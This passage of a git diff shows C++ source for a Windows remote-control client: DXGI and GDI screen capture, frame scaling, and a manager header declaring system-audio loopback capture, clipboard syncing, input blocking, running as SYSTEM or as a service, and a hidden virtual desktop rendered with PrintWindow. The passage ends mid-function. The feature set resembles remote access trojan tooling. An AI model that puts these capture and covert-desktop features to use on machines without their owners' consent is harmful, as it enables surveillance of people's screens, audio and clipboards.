m_BitmapInfor_Full = ConstructBitmapInfo(32, m_ulFullWidth, m_ulFullHeight);
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
int strategy = cfg.GetInt("settings", "ScreenStrategy", 0);
|
||||
int maxWidth = cfg.GetInt("settings", "ScreenWidth", 0);
|
||||
m_BitmapInfor_Send = new BITMAPINFO(*m_BitmapInfor_Full);
|
||||
m_nInstructionSet = cfg.GetInt("settings", "CpuSpeedup", 0);
|
||||
|
||||
if (strategy == 1) {
|
||||
// strategy=1 或不支持缩放: 原始分辨率
|
||||
} else if (maxWidth > 0 && maxWidth < m_BitmapInfor_Send->bmiHeader.biWidth) {
|
||||
// maxWidth>0: 自定义 maxWidth,等比缩放(自适应质量使用)
|
||||
float ratio = (float)maxWidth / m_BitmapInfor_Send->bmiHeader.biWidth;
|
||||
m_BitmapInfor_Send->bmiHeader.biWidth = maxWidth;
|
||||
m_BitmapInfor_Send->bmiHeader.biHeight = (LONG)(m_BitmapInfor_Send->bmiHeader.biHeight * ratio);
|
||||
m_BitmapInfor_Send->bmiHeader.biSizeImage =
|
||||
((m_BitmapInfor_Send->bmiHeader.biWidth * m_BitmapInfor_Send->bmiHeader.biBitCount + 31) / 32) *
|
||||
4 * m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
} else {
|
||||
// strategy=0 或 maxWidth=0: 默认 1080p 限制
|
||||
m_BitmapInfor_Send->bmiHeader.biWidth = min(1920, m_BitmapInfor_Send->bmiHeader.biWidth);
|
||||
m_BitmapInfor_Send->bmiHeader.biHeight = min(1080, m_BitmapInfor_Send->bmiHeader.biHeight);
|
||||
m_BitmapInfor_Send->bmiHeader.biSizeImage =
|
||||
((m_BitmapInfor_Send->bmiHeader.biWidth * m_BitmapInfor_Send->bmiHeader.biBitCount + 31) / 32) *
|
||||
4 * m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
}
|
||||
// 10. 分配屏幕缓冲区
|
||||
m_FirstBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
m_NextBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage + 1];
|
||||
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
|
||||
m_BmpZoomBuffer = new BYTE[m_BitmapInfor_Send->bmiHeader.biSizeImage * 2 + 12];
|
||||
m_BmpZoomFirst = nullptr;
|
||||
|
||||
break;
|
||||
} while (true);
|
||||
|
||||
// 释放 DXGI 资源
|
||||
if (dxgiOutput1) dxgiOutput1->Release();
|
||||
if (dxgiOutput) dxgiOutput->Release();
|
||||
if (dxgiAdapter) dxgiAdapter->Release();
|
||||
if (pFactory) pFactory->Release();
|
||||
}
|
||||
|
||||
bool IsInitSucceed() const
|
||||
{
|
||||
return cpuTexture;
|
||||
}
|
||||
|
||||
void CleanupDXGI()
|
||||
{
|
||||
if (cpuTexture) cpuTexture->Release();
|
||||
if (deskDupl) deskDupl->Release();
|
||||
if (d3dContext) d3dContext->Release();
|
||||
if (d3dDevice) d3dDevice->Release();
|
||||
}
|
||||
|
||||
virtual LPBYTE scaleBitmap(LPBYTE target, LPBYTE bitmap) override
|
||||
{
|
||||
if (m_ulFullWidth == m_BitmapInfor_Send->bmiHeader.biWidth && m_ulFullHeight == m_BitmapInfor_Send->bmiHeader.biHeight) {
|
||||
memcpy(target, bitmap, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
||||
return bitmap;
|
||||
}
|
||||
return ScaleBitmap(target, (uint8_t*)bitmap, m_ulFullWidth, m_ulFullHeight, m_BitmapInfor_Send->bmiHeader.biWidth,
|
||||
m_BitmapInfor_Send->bmiHeader.biHeight, m_nInstructionSet);
|
||||
}
|
||||
|
||||
LPBYTE GetFirstScreenData(ULONG* ulFirstScreenLength) override
|
||||
{
|
||||
int ret = CaptureFrame(m_FirstBuffer, ulFirstScreenLength, 1);
|
||||
scaleBitmap(m_BmpZoomBuffer, m_FirstBuffer);
|
||||
memcpy(m_FirstBuffer, m_BmpZoomBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
||||
if (ret)
|
||||
return nullptr;
|
||||
if (m_bAlgorithm == ALGORITHM_GRAY) {
|
||||
ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
||||
}
|
||||
m_FirstBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||
return m_FirstBuffer;
|
||||
}
|
||||
|
||||
LPBYTE ScanNextScreen() override
|
||||
{
|
||||
ULONG ulNextScreenLength = 0;
|
||||
int ret = CaptureFrame(m_NextBuffer, &ulNextScreenLength, 0);
|
||||
scaleBitmap(m_BmpZoomBuffer, m_NextBuffer);
|
||||
memcpy(m_NextBuffer, m_BmpZoomBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
||||
if (ret)
|
||||
return nullptr;
|
||||
|
||||
return m_NextBuffer;
|
||||
}
|
||||
|
||||
virtual LPBYTE GetFirstBuffer() const
|
||||
{
|
||||
return m_FirstBuffer + 1;
|
||||
}
|
||||
|
||||
private:
|
||||
// 重新初始化 Desktop Duplication
|
||||
BOOL ReinitDuplication()
|
||||
{
|
||||
if (deskDupl) {
|
||||
deskDupl->Release();
|
||||
deskDupl = nullptr;
|
||||
}
|
||||
|
||||
if (!d3dDevice) return FALSE;
|
||||
|
||||
IDXGIDevice* dxgiDevice = nullptr;
|
||||
IDXGIAdapter* dxgiAdapter = nullptr;
|
||||
IDXGIOutput* dxgiOutput = nullptr;
|
||||
IDXGIOutput1* dxgiOutput1 = nullptr;
|
||||
|
||||
HRESULT hr = d3dDevice->QueryInterface(__uuidof(IDXGIDevice), (void**)&dxgiDevice);
|
||||
if (FAILED(hr)) return FALSE;
|
||||
|
||||
hr = dxgiDevice->GetAdapter(&dxgiAdapter);
|
||||
dxgiDevice->Release();
|
||||
if (FAILED(hr)) return FALSE;
|
||||
|
||||
hr = dxgiAdapter->EnumOutputs(0, &dxgiOutput);
|
||||
dxgiAdapter->Release();
|
||||
if (FAILED(hr)) return FALSE;
|
||||
|
||||
hr = dxgiOutput->QueryInterface(__uuidof(IDXGIOutput1), (void**)&dxgiOutput1);
|
||||
dxgiOutput->Release();
|
||||
if (FAILED(hr)) return FALSE;
|
||||
|
||||
Sleep(100);
|
||||
|
||||
hr = dxgiOutput1->DuplicateOutput(d3dDevice, &deskDupl);
|
||||
dxgiOutput1->Release();
|
||||
|
||||
return SUCCEEDED(hr) && deskDupl;
|
||||
}
|
||||
int CaptureFrame(LPBYTE buffer, ULONG* frameSize, int reservedBytes)
|
||||
{
|
||||
if (!deskDupl) {
|
||||
if (!ReinitDuplication()) return -10;
|
||||
}
|
||||
|
||||
// 1. 获取下一帧
|
||||
IDXGIResource* desktopResource = nullptr;
|
||||
DXGI_OUTDUPL_FRAME_INFO frameInfo;
|
||||
HRESULT hr = deskDupl->AcquireNextFrame(100, &frameInfo, &desktopResource);
|
||||
// 处理全屏切换导致的访问丢失
|
||||
if (hr == DXGI_ERROR_ACCESS_LOST) {
|
||||
if (ReinitDuplication()) {
|
||||
hr = deskDupl->AcquireNextFrame(100, &frameInfo, &desktopResource);
|
||||
}
|
||||
}
|
||||
|
||||
if (FAILED(hr)) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
// 2. 获取 ID3D11Texture2D
|
||||
ID3D11Texture2D* texture = nullptr;
|
||||
hr = desktopResource->QueryInterface(__uuidof(ID3D11Texture2D), (void**)&texture);
|
||||
if (FAILED(hr)) {
|
||||
deskDupl->ReleaseFrame();
|
||||
return -2;
|
||||
}
|
||||
|
||||
// 3. 复制到 CPU 纹理
|
||||
d3dContext->CopyResource(cpuTexture, texture);
|
||||
|
||||
// 4. 释放 DXGI 资源
|
||||
deskDupl->ReleaseFrame();
|
||||
texture->Release();
|
||||
desktopResource->Release();
|
||||
|
||||
// 5. 读取纹理数据
|
||||
D3D11_MAPPED_SUBRESOURCE mapped;
|
||||
hr = d3dContext->Map(cpuTexture, 0, D3D11_MAP_READ, 0, &mapped);
|
||||
if (FAILED(hr)) {
|
||||
return -3;
|
||||
}
|
||||
|
||||
// 6. 复制数据到缓冲区(垂直翻转)
|
||||
BYTE* pData = (BYTE*)mapped.pData;
|
||||
int rowSize = m_ulFullWidth * 4; // 每行的字节数(RGBA)
|
||||
|
||||
BYTE* dest = buffer + reservedBytes + (m_ulFullHeight - 1) * rowSize;
|
||||
BYTE* src = pData;
|
||||
for (int y = 0; y < m_ulFullHeight; y++) {
|
||||
memcpy(dest, src, rowSize);
|
||||
dest -= rowSize;
|
||||
src += mapped.RowPitch;
|
||||
}
|
||||
|
||||
// 7. 清理
|
||||
d3dContext->Unmap(cpuTexture, 0);
|
||||
|
||||
*frameSize = m_ulFullWidth * m_ulFullHeight * 4;
|
||||
return 0;
|
||||
}
|
||||
};
|
||||
2627
client/ScreenManager.cpp
Normal file
2627
client/ScreenManager.cpp
Normal file
File diff suppressed because it is too large
Load Diff
124
client/ScreenManager.h
Normal file
124
client/ScreenManager.h
Normal file
@@ -0,0 +1,124 @@
|
||||
// ScreenManager.h: interface for the CScreenManager class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
|
||||
#define AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#include "Manager.h"
|
||||
#include "ScreenSpy.h"
|
||||
#include "ScreenCapture.h"
|
||||
|
||||
// WASAPI 前向声明 (COM 接口)
|
||||
struct IMMDevice;
|
||||
struct IAudioClient;
|
||||
struct IAudioCaptureClient;
|
||||
// WAVEFORMATEX 使用 void* 避免包含头文件
|
||||
|
||||
bool LaunchApplication(TCHAR* pszApplicationFilePath, TCHAR* pszDesktopName);
|
||||
|
||||
bool IsWindows8orHigher();
|
||||
|
||||
BOOL IsRunningAsSystem();
|
||||
|
||||
class IOCPClient;
|
||||
|
||||
struct UserParam;
|
||||
|
||||
class CScreenManager : public CManager
|
||||
{
|
||||
public:
|
||||
CScreenManager(IOCPClient* ClientObject, int n, void* user = nullptr, BOOL priv=FALSE);
|
||||
virtual ~CScreenManager();
|
||||
HANDLE m_hWorkThread;
|
||||
ScreenSettings m_ScreenSettings = { 20 };
|
||||
QualityProfile m_QualityProfiles[QUALITY_COUNT]; // 本地质量配置(可被服务端覆盖)
|
||||
|
||||
virtual void InitScreenSpy();
|
||||
void LoadQualityProfiles(); // 从配置文件加载质量配置
|
||||
void SaveQualityProfiles(); // 保存质量配置到配置文件
|
||||
static DWORD WINAPI WorkThreadProc(LPVOID lParam);
|
||||
VOID SendBitMapInfo();
|
||||
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
|
||||
|
||||
ScreenCapture* m_ScreenSpyObject;
|
||||
VOID SendFirstScreen();
|
||||
const char* GetNextScreen(ULONG &ulNextSendLength);
|
||||
VOID SendNextScreen(const char* szBuffer, ULONG ulNextSendLength);
|
||||
|
||||
VOID ProcessCommand(LPBYTE szBuffer, ULONG ulLength);
|
||||
UserParam *m_pUserParam = NULL;
|
||||
INT_PTR m_ptrUser;
|
||||
HDESK g_hDesk;
|
||||
BOOL m_isGDI;
|
||||
std::string m_DesktopID;
|
||||
BOOL m_bIsWorking;
|
||||
BOOL m_bIsBlockInput;
|
||||
BOOL SendClientClipboard(BOOL fast);
|
||||
VOID UpdateClientClipboard(char *szBuffer, ULONG ulLength);
|
||||
|
||||
std::string m_hash;
|
||||
std::string m_hmac;
|
||||
CONNECT_ADDRESS *m_conn = nullptr;
|
||||
uint64_t m_MyClientID = 0; // V2: 本机客户端ID
|
||||
void SetConnection(CONNECT_ADDRESS* conn)
|
||||
{
|
||||
m_conn = conn;
|
||||
if (conn) m_MyClientID = conn->clientID;
|
||||
}
|
||||
bool IsRunAsService() const
|
||||
{
|
||||
if (m_conn && (m_conn->iStartup == Startup_GhostMsc || m_conn->iStartup == Startup_TestRunMsc))
|
||||
return true;
|
||||
static BOOL is_run_as_system = IsRunningAsSystem();
|
||||
return is_run_as_system;
|
||||
}
|
||||
// 获取当前活动桌面(带写权限,用于锁屏等安全桌面)
|
||||
// 使用独立的静态变量避免与WorkThreadProc的g_hDesk并发冲突
|
||||
HDESK s_inputDesk = NULL;
|
||||
clock_t s_lastCheck = 0;
|
||||
DWORD s_lastThreadId = 0;
|
||||
|
||||
bool SwitchScreen();
|
||||
bool RestartScreen();
|
||||
void SwitchToNextWindow(); // 切换到下一个窗口(类似 Alt+Tab)
|
||||
virtual BOOL OnReconnect();
|
||||
uint64_t m_nReconnectTime = 0; // 重连开始时间
|
||||
uint64_t m_DlgID = 0;
|
||||
BOOL m_SendFirst = FALSE;
|
||||
|
||||
// 虚拟桌面
|
||||
BOOL m_virtual;
|
||||
POINT m_point;
|
||||
POINT m_lastPoint;
|
||||
BOOL m_lmouseDown;
|
||||
HWND m_hResMoveWindow;
|
||||
LRESULT m_resMoveType;
|
||||
BOOL m_rmouseDown; // 标记右键是否按下
|
||||
POINT m_rclickPoint; // 右键点击坐标
|
||||
HWND m_rclickWnd; // 右键窗口
|
||||
int m_nSwitchWindowIndex = 0; // 切换窗口索引
|
||||
|
||||
// ========== 系统音频捕获 (WASAPI Loopback) ==========
|
||||
volatile BOOL m_bAudioThreadRunning = FALSE;// 音频线程运行标志(独立于视频线程)
|
||||
volatile BOOL m_bAudioInitialized = FALSE; // WASAPI 是否已初始化
|
||||
HANDLE m_hAudioThread = NULL; // 音频线程句柄
|
||||
HANDLE m_hAudioEvent = NULL; // 控制线程挂起/唤醒
|
||||
|
||||
// WASAPI 相关
|
||||
IMMDevice* m_pAudioDevice = nullptr;
|
||||
IAudioClient* m_pAudioClient = nullptr;
|
||||
IAudioCaptureClient* m_pCaptureClient = nullptr;
|
||||
void* m_pWaveFormat = nullptr; // 实际类型: WAVEFORMATEX*
|
||||
|
||||
BOOL InitWASAPILoopback(); // 初始化 WASAPI Loopback
|
||||
void UninitWASAPI(); // 释放 WASAPI 资源
|
||||
static DWORD WINAPI AudioThreadProc(LPVOID lpParam); // 音频捕获线程
|
||||
void HandleAudioCtrl(BYTE enable, BYTE persist); // 处理音频控制命令
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_SCREENMANAGER_H__511DF666_6E18_4408_8BD5_8AB8CD1AEF8F__INCLUDED_)
|
||||
162
client/ScreenSpy.cpp
Normal file
162
client/ScreenSpy.cpp
Normal file
@@ -0,0 +1,162 @@
|
||||
// ScreenSpy.cpp: implementation of the CScreenSpy class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "ScreenSpy.h"
|
||||
#include "Common.h"
|
||||
#include <stdio.h>
|
||||
#include <common/iniFile.h>
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk, int gop, BOOL all) :
|
||||
ScreenCapture(ulbiBitCount, algo, all)
|
||||
{
|
||||
m_GOP = gop;
|
||||
|
||||
m_BitmapInfor_Full = ConstructBitmapInfo(ulbiBitCount, m_ulFullWidth, m_ulFullHeight);
|
||||
|
||||
iniFile cfg(CLIENT_PATH);
|
||||
int strategy = cfg.GetInt("settings", "ScreenStrategy", 0);
|
||||
int maxWidth = cfg.GetInt("settings", "ScreenWidth", 0);
|
||||
m_BitmapInfor_Send = new BITMAPINFO(*m_BitmapInfor_Full);
|
||||
m_nInstructionSet = cfg.GetInt("settings", "CpuSpeedup", 0);
|
||||
|
||||
Mprintf("CScreenSpy: strategy=%d, maxWidth=%d, fullWidth=%d, algo=%d\n",
|
||||
strategy, maxWidth, m_BitmapInfor_Send->bmiHeader.biWidth, m_bAlgorithm);
|
||||
|
||||
if (strategy == 1) {
|
||||
// strategy=1: 用户明确选择原始分辨率
|
||||
Mprintf("CScreenSpy: 使用原始分辨率\n");
|
||||
} else if (maxWidth > 0 && maxWidth < m_BitmapInfor_Send->bmiHeader.biWidth) {
|
||||
// maxWidth>0: 自定义 maxWidth,等比缩放(自适应质量使用)
|
||||
float ratio = (float)maxWidth / m_BitmapInfor_Send->bmiHeader.biWidth;
|
||||
m_BitmapInfor_Send->bmiHeader.biWidth = maxWidth;
|
||||
m_BitmapInfor_Send->bmiHeader.biHeight = (LONG)(m_BitmapInfor_Send->bmiHeader.biHeight * ratio);
|
||||
m_BitmapInfor_Send->bmiHeader.biSizeImage =
|
||||
((m_BitmapInfor_Send->bmiHeader.biWidth * m_BitmapInfor_Send->bmiHeader.biBitCount + 31) / 32) *
|
||||
4 * m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
Mprintf("CScreenSpy: 自定义分辨率 %dx%d\n",
|
||||
m_BitmapInfor_Send->bmiHeader.biWidth, m_BitmapInfor_Send->bmiHeader.biHeight);
|
||||
} else {
|
||||
// strategy=0 或 maxWidth=0: 默认 1080p 限制
|
||||
m_BitmapInfor_Send->bmiHeader.biWidth = min(1920, m_BitmapInfor_Send->bmiHeader.biWidth);
|
||||
m_BitmapInfor_Send->bmiHeader.biHeight = min(1080, m_BitmapInfor_Send->bmiHeader.biHeight);
|
||||
m_BitmapInfor_Send->bmiHeader.biSizeImage =
|
||||
((m_BitmapInfor_Send->bmiHeader.biWidth * m_BitmapInfor_Send->bmiHeader.biBitCount + 31) / 32) *
|
||||
4 * m_BitmapInfor_Send->bmiHeader.biHeight;
|
||||
Mprintf("CScreenSpy: 1080p 限制 %dx%d\n",
|
||||
m_BitmapInfor_Send->bmiHeader.biWidth, m_BitmapInfor_Send->bmiHeader.biHeight);
|
||||
}
|
||||
|
||||
m_hDeskTopDC = GetDC(NULL);
|
||||
|
||||
m_BitmapData_Full = NULL;
|
||||
m_hFullMemDC = CreateCompatibleDC(m_hDeskTopDC);
|
||||
m_BitmapHandle = ::CreateDIBSection(m_hDeskTopDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_BitmapData_Full, NULL, NULL);
|
||||
::SelectObject(m_hFullMemDC, m_BitmapHandle);
|
||||
m_FirstBuffer = (LPBYTE)m_BitmapData_Full;
|
||||
|
||||
m_DiffBitmapData_Full = NULL;
|
||||
m_hDiffMemDC = CreateCompatibleDC(m_hDeskTopDC);
|
||||
m_DiffBitmapHandle = ::CreateDIBSection(m_hDeskTopDC, m_BitmapInfor_Full, DIB_RGB_COLORS, &m_DiffBitmapData_Full, NULL, NULL);
|
||||
::SelectObject(m_hDiffMemDC, m_DiffBitmapHandle);
|
||||
|
||||
m_RectBuffer = new BYTE[m_BitmapInfor_Full->bmiHeader.biSizeImage * 2 + 12];
|
||||
m_BmpZoomBuffer = new BYTE[m_BitmapInfor_Send->bmiHeader.biSizeImage * 2 + 12];
|
||||
m_BmpZoomFirst = new BYTE[m_BitmapInfor_Send->bmiHeader.biSizeImage * 2 + 12];
|
||||
m_FirstBuffer = scaleBitmap(m_BmpZoomFirst, m_FirstBuffer);
|
||||
|
||||
m_bVirtualPaint = vDesk;
|
||||
m_data.Create(m_hDeskTopDC, m_iScreenX, m_iScreenY, m_ulFullWidth, m_ulFullHeight);
|
||||
}
|
||||
|
||||
|
||||
CScreenSpy::~CScreenSpy()
|
||||
{
|
||||
if (m_BitmapInfor_Full != NULL) {
|
||||
delete m_BitmapInfor_Full;
|
||||
m_BitmapInfor_Full = NULL;
|
||||
}
|
||||
|
||||
ReleaseDC(NULL, m_hDeskTopDC);
|
||||
|
||||
if (m_hFullMemDC!=NULL) {
|
||||
DeleteDC(m_hFullMemDC);
|
||||
|
||||
::DeleteObject(m_BitmapHandle);
|
||||
if (m_BitmapData_Full!=NULL) {
|
||||
m_BitmapData_Full = NULL;
|
||||
}
|
||||
|
||||
m_hFullMemDC = NULL;
|
||||
}
|
||||
|
||||
if (m_hDiffMemDC!=NULL) {
|
||||
DeleteDC(m_hDiffMemDC);
|
||||
|
||||
::DeleteObject(m_DiffBitmapHandle);
|
||||
if (m_DiffBitmapData_Full!=NULL) {
|
||||
m_DiffBitmapData_Full = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
if (m_RectBuffer) {
|
||||
delete[] m_RectBuffer;
|
||||
m_RectBuffer = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
LPBYTE CScreenSpy::GetFirstScreenData(ULONG* ulFirstScreenLength)
|
||||
{
|
||||
ScanScreen(m_hFullMemDC, m_hDeskTopDC, m_ulFullWidth, m_ulFullHeight);
|
||||
m_RectBuffer[0] = TOKEN_FIRSTSCREEN;
|
||||
LPBYTE bmp = scaleBitmap(m_BmpZoomBuffer, (LPBYTE)m_BitmapData_Full);
|
||||
memcpy(1 + m_RectBuffer, bmp, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
||||
if (m_bAlgorithm == ALGORITHM_GRAY) {
|
||||
ToGray(1 + m_RectBuffer, 1 + m_RectBuffer, m_BitmapInfor_Send->bmiHeader.biSizeImage);
|
||||
}
|
||||
*ulFirstScreenLength = m_BitmapInfor_Send->bmiHeader.biSizeImage;
|
||||
|
||||
return m_RectBuffer; //内存
|
||||
}
|
||||
|
||||
|
||||
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight)
|
||||
{
|
||||
if (m_bVirtualPaint) {
|
||||
// 先用深色填充背景,避免窗口移动时留下残影
|
||||
RECT rcFill = { 0, 0, (LONG)ulWidth, (LONG)ulHeight };
|
||||
HBRUSH hBrush = CreateSolidBrush(RGB(30, 30, 30)); // 深灰色背景
|
||||
FillRect(hdcDest, &rcFill, hBrush);
|
||||
DeleteObject(hBrush);
|
||||
|
||||
int n = 0;
|
||||
if (n = EnumWindowsTopToDown(NULL, EnumHwndsPrint, (LPARAM)&m_data.SetScreenDC(hdcDest))) {
|
||||
Mprintf("EnumWindowsTopToDown failed: %d!!! GetLastError: %d\n", n, GetLastError());
|
||||
Sleep(50);
|
||||
}
|
||||
return;
|
||||
}
|
||||
AUTO_TICK(70, "");
|
||||
#if COPY_ALL
|
||||
BitBlt(hdcDest, 0, 0, ulWidth, ulHeight, hdcSour, m_iScreenX, m_iScreenY, SRCCOPY);
|
||||
#else
|
||||
const ULONG ulJumpLine = 50;
|
||||
const ULONG ulJumpSleep = ulJumpLine / 10;
|
||||
|
||||
for (int i = 0, ulToJump = 0; i < ulHeight; i += ulToJump) {
|
||||
ULONG ulv1 = ulHeight - i;
|
||||
|
||||
if (ulv1 > ulJumpLine)
|
||||
ulToJump = ulJumpLine;
|
||||
else
|
||||
ulToJump = ulv1;
|
||||
BitBlt(hdcDest, 0, i, ulWidth, ulToJump, hdcSour,0, i, SRCCOPY);
|
||||
Sleep(ulJumpSleep);
|
||||
}
|
||||
#endif
|
||||
}
|
||||
255
client/ScreenSpy.h
Normal file
255
client/ScreenSpy.h
Normal file
@@ -0,0 +1,255 @@
|
||||
// ScreenSpy.h: interface for the CScreenSpy class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)
|
||||
#define AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
|
||||
#define COPY_ALL 1 // 拷贝全部屏幕,不分块拷贝(added by yuanyuanxiang 2019-1-7)
|
||||
#include "CursorInfo.h"
|
||||
#include "ScreenCapture.h"
|
||||
#include <dwmapi.h>
|
||||
#pragma comment(lib, "dwmapi.lib")
|
||||
|
||||
|
||||
class EnumHwndsPrintData
|
||||
{
|
||||
public:
|
||||
EnumHwndsPrintData()
|
||||
{
|
||||
memset(this, 0, sizeof(EnumHwndsPrintData));
|
||||
}
|
||||
void Create(HDC desktop, int _x, int _y, int w, int h)
|
||||
{
|
||||
x = _x;
|
||||
y = _y;
|
||||
width = GetSystemMetrics(SM_CXVIRTUALSCREEN);
|
||||
height = GetSystemMetrics(SM_CYVIRTUALSCREEN);
|
||||
hDcWindow = CreateCompatibleDC(desktop);
|
||||
hBmpWindow = CreateCompatibleBitmap(desktop, width, height);
|
||||
}
|
||||
EnumHwndsPrintData& SetScreenDC(HDC dc)
|
||||
{
|
||||
hDcScreen = dc;
|
||||
return *this;
|
||||
}
|
||||
~EnumHwndsPrintData()
|
||||
{
|
||||
if (hDcWindow) DeleteDC(hDcWindow);
|
||||
hDcWindow = nullptr;
|
||||
if (hBmpWindow)DeleteObject(hBmpWindow);
|
||||
hBmpWindow = nullptr;
|
||||
}
|
||||
HDC GetWindowDC() const
|
||||
{
|
||||
return hDcWindow;
|
||||
}
|
||||
HDC GetScreenDC() const
|
||||
{
|
||||
return hDcScreen;
|
||||
}
|
||||
HBITMAP GetWindowBmp() const
|
||||
{
|
||||
return hBmpWindow;
|
||||
}
|
||||
int X() const
|
||||
{
|
||||
return x;
|
||||
}
|
||||
int Y() const
|
||||
{
|
||||
return y;
|
||||
}
|
||||
int Width()const
|
||||
{
|
||||
return width;
|
||||
}
|
||||
int Height()const
|
||||
{
|
||||
return height;
|
||||
}
|
||||
private:
|
||||
HDC hDcWindow;
|
||||
HDC hDcScreen;
|
||||
HBITMAP hBmpWindow;
|
||||
int x;
|
||||
int y;
|
||||
int width;
|
||||
int height;
|
||||
};
|
||||
|
||||
class CScreenSpy : public ScreenCapture
|
||||
{
|
||||
protected:
|
||||
HDC m_hDeskTopDC; // 屏幕上下文
|
||||
HDC m_hFullMemDC; // 上一个上下文
|
||||
HDC m_hDiffMemDC; // 差异上下文
|
||||
HBITMAP m_BitmapHandle; // 上一帧位图
|
||||
HBITMAP m_DiffBitmapHandle; // 差异帧位图
|
||||
PVOID m_BitmapData_Full; // 当前位图数据
|
||||
PVOID m_DiffBitmapData_Full; // 差异位图数据
|
||||
|
||||
BOOL m_bVirtualPaint;// 是否虚拟绘制
|
||||
EnumHwndsPrintData m_data;
|
||||
|
||||
public:
|
||||
CScreenSpy(ULONG ulbiBitCount, BYTE algo, BOOL vDesk = FALSE, int gop = DEFAULT_GOP, BOOL all = FALSE);
|
||||
|
||||
virtual ~CScreenSpy();
|
||||
|
||||
int GetWidth()const
|
||||
{
|
||||
return m_ulFullWidth;
|
||||
}
|
||||
|
||||
int GetHeight() const
|
||||
{
|
||||
return m_ulFullHeight;
|
||||
}
|
||||
|
||||
bool IsZoomed() const
|
||||
{
|
||||
return m_bZoomed;
|
||||
}
|
||||
|
||||
double GetWZoom() const
|
||||
{
|
||||
return m_wZoom;
|
||||
}
|
||||
|
||||
double GetHZoom() const
|
||||
{
|
||||
return m_hZoom;
|
||||
}
|
||||
|
||||
const LPBITMAPINFO& GetBIData() const
|
||||
{
|
||||
return m_BitmapInfor_Send;
|
||||
}
|
||||
|
||||
ULONG GetFirstScreenLength() const
|
||||
{
|
||||
return m_BitmapInfor_Send->bmiHeader.biSizeImage;
|
||||
}
|
||||
|
||||
static BOOL PaintWindow(HWND hWnd, EnumHwndsPrintData* data)
|
||||
{
|
||||
if (!IsWindowVisible(hWnd) || IsIconic(hWnd))
|
||||
return TRUE;
|
||||
|
||||
RECT rect;
|
||||
if (!GetWindowRect(hWnd, &rect))
|
||||
return FALSE;
|
||||
|
||||
// 检查是否为菜单窗口
|
||||
char className[32] = {};
|
||||
GetClassNameA(hWnd, className, sizeof(className));
|
||||
BOOL isMenu = (strcmp(className, "#32768") == 0);
|
||||
|
||||
// 获取不含 DWM 阴影的真实窗口边界(Windows 10 窗口有透明阴影导致黑边)
|
||||
// 菜单窗口不使用 DWM 裁剪
|
||||
RECT frameRect = rect;
|
||||
BOOL hasDwmFrame = FALSE;
|
||||
if (!isMenu) {
|
||||
hasDwmFrame = SUCCEEDED(DwmGetWindowAttribute(hWnd, DWMWA_EXTENDED_FRAME_BOUNDS,
|
||||
&frameRect, sizeof(frameRect)));
|
||||
}
|
||||
|
||||
HDC hDcWindow = data->GetWindowDC();
|
||||
HBITMAP hOldBmp = (HBITMAP)SelectObject(hDcWindow, data->GetWindowBmp());
|
||||
|
||||
// 对于某些现代应用(WinUI 3 等),需要先请求重绘
|
||||
RedrawWindow(hWnd, NULL, NULL, RDW_INVALIDATE | RDW_UPDATENOW);
|
||||
|
||||
BOOL captured = PrintWindow(hWnd, hDcWindow, PW_RENDERFULLCONTENT);
|
||||
if (!captured) {
|
||||
// PrintWindow 失败,尝试不带 PW_RENDERFULLCONTENT
|
||||
captured = PrintWindow(hWnd, hDcWindow, 0);
|
||||
}
|
||||
if (!captured) {
|
||||
// 仍然失败,尝试 WM_PRINT
|
||||
captured = SendMessageTimeout(hWnd, WM_PRINT, (WPARAM)hDcWindow,
|
||||
PRF_CLIENT | PRF_NONCLIENT, SMTO_BLOCK, 50, NULL) != 0;
|
||||
}
|
||||
if (!captured) {
|
||||
char title[128] = {};
|
||||
GetWindowTextA(hWnd, title, sizeof(title));
|
||||
Mprintf("PrintWindow failed: %s [%s]\n", className, title);
|
||||
}
|
||||
|
||||
if (captured) {
|
||||
if (hasDwmFrame) {
|
||||
// 使用真实边界(不含阴影),从 PrintWindow 输出的正确偏移位置复制
|
||||
int shadowLeft = frameRect.left - rect.left;
|
||||
int shadowTop = frameRect.top - rect.top;
|
||||
int realWidth = frameRect.right - frameRect.left;
|
||||
int realHeight = frameRect.bottom - frameRect.top;
|
||||
